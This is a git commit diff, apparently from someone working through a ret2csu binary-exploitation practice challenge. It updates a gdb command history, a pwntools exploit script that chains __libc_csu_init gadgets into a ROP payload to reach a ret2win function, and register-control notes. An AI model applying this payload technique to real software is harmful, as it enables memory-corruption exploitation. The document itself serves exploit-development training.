modified: x86_64/ret2csu/exploit.py
modified: x86_64/ret2csu/gadgets
This commit is contained in:
parent
11cbb37694
commit
5660ef3166
@ -54,3 +54,52 @@ stepi
|
|||||||
info reg rdi
|
info reg rdi
|
||||||
continue
|
continue
|
||||||
quit
|
quit
|
||||||
|
starti
|
||||||
|
x 0x00000000004006a3
|
||||||
|
x 0x00000000004006a3
|
||||||
|
x __libc_csu_init
|
||||||
|
x __libc_csu_init+99
|
||||||
|
quit
|
||||||
|
break *0x40069a
|
||||||
|
run
|
||||||
|
continue
|
||||||
|
context
|
||||||
|
stepi
|
||||||
|
info reg
|
||||||
|
info reg rbx
|
||||||
|
info reg rbp
|
||||||
|
info reg r12
|
||||||
|
info reg r13
|
||||||
|
info reg r14
|
||||||
|
continue
|
||||||
|
stepi
|
||||||
|
info reg rbp
|
||||||
|
info reg rbx
|
||||||
|
stepi
|
||||||
|
info reg rdx
|
||||||
|
stepi
|
||||||
|
continue
|
||||||
|
continue
|
||||||
|
stepi
|
||||||
|
info reg r12
|
||||||
|
info reg rbx
|
||||||
|
stepi
|
||||||
|
quit
|
||||||
|
continue
|
||||||
|
quit
|
||||||
|
continue
|
||||||
|
continue
|
||||||
|
auit
|
||||||
|
quit
|
||||||
|
break *0x40069a
|
||||||
|
continue
|
||||||
|
stepi
|
||||||
|
finro reg rbx
|
||||||
|
info reg rbx
|
||||||
|
stepi
|
||||||
|
info reg r12
|
||||||
|
x $r12
|
||||||
|
x $r12 + $rbx
|
||||||
|
x $r12 + ($rbx * 8)
|
||||||
|
x $r12 + (($rbx - 1) * 8)
|
||||||
|
quit
|
||||||
|
@ -1,6 +1,8 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
context.terminal = ['kitty', 'bash', '-c']
|
||||||
|
|
||||||
prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
|
prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
|
||||||
payload = b''
|
payload = b''
|
||||||
for c in range(40):
|
for c in range(40):
|
||||||
@ -8,18 +10,26 @@ for c in range(40):
|
|||||||
|
|
||||||
|
|
||||||
payload += p64(0x40069a) # __libc_csu_init()
|
payload += p64(0x40069a) # __libc_csu_init()
|
||||||
payload += p64(0)
|
|
||||||
payload += p64(0)
|
payload += p64(19)
|
||||||
payload += p64(0x601020)
|
payload += p64(1)
|
||||||
|
payload += p64(0x601018)
|
||||||
payload += p64(0xdeadbeefdeadbeef)
|
payload += p64(0xdeadbeefdeadbeef)
|
||||||
payload += p64(0xcafebabecafebabe)
|
payload += p64(0xcafebabecafebabe)
|
||||||
payload += p64(0xd00df00dd00df00d)
|
payload += p64(0xd00df00dd00df00d)
|
||||||
|
|
||||||
|
|
||||||
payload += p64(0x400680)
|
payload += p64(0x400680)
|
||||||
|
|
||||||
|
payload += p64(1)
|
||||||
|
payload += p64(2)
|
||||||
|
|
||||||
|
payload += p64(0x00000000004006a3)
|
||||||
|
payload += p64(0xdeadbeefdeadbeef)
|
||||||
|
|
||||||
|
payload += p64(0x0000000000400510)
|
||||||
|
|
||||||
|
|
||||||
#payload += p64(0x00000000004006a3)
|
|
||||||
#payload += p64(0xdeadbeefdeadbeef)
|
|
||||||
|
|
||||||
payload += b"\n"
|
payload += b"\n"
|
||||||
|
|
||||||
|
@ -71,16 +71,18 @@ Disassembly of section .fini:
|
|||||||
calling x86:
|
calling x86:
|
||||||
|
|
||||||
controlling rdx:
|
controlling rdx:
|
||||||
1: 0x00000000004006a3
|
|
||||||
rdi : 0xdeadbeefdeadbeef
|
|
||||||
|
|
||||||
2: 0x40069a
|
2: 0x40069a
|
||||||
rbx: 0 <--
|
rbx: 0 <--
|
||||||
rbp: whatever
|
rbp: 1
|
||||||
r12: 0x601020 <-- next location. lets try to make it ret2win
|
r12: 0xffffffff <-- next location. lets try to make it
|
||||||
r13: 0xdeadbeef <-- would be nice if we could use a 64 bit value
|
r13: whatever I guess <-- would be nice if we could use a 64 bit value
|
||||||
r14: 0xcafebabecafebabe
|
r14: 0xcafebabecafebabe
|
||||||
r15: 0xd00df00dd00df00d <--
|
r15: 0xd00df00dd00df00d <--
|
||||||
|
|
||||||
|
we can set r12 to [function@plt], and rbx to desired offset.
|
||||||
|
|
||||||
3: 0x0000000000400510 (ret2win)
|
0x00000000004004e0 : call rax
|
||||||
|
|
||||||
|
target address: 0x00000000004006a3
|
||||||
|
0000000000400510 ret2csu
|
||||||
|
Loading…
x
Reference in New Issue
Block a user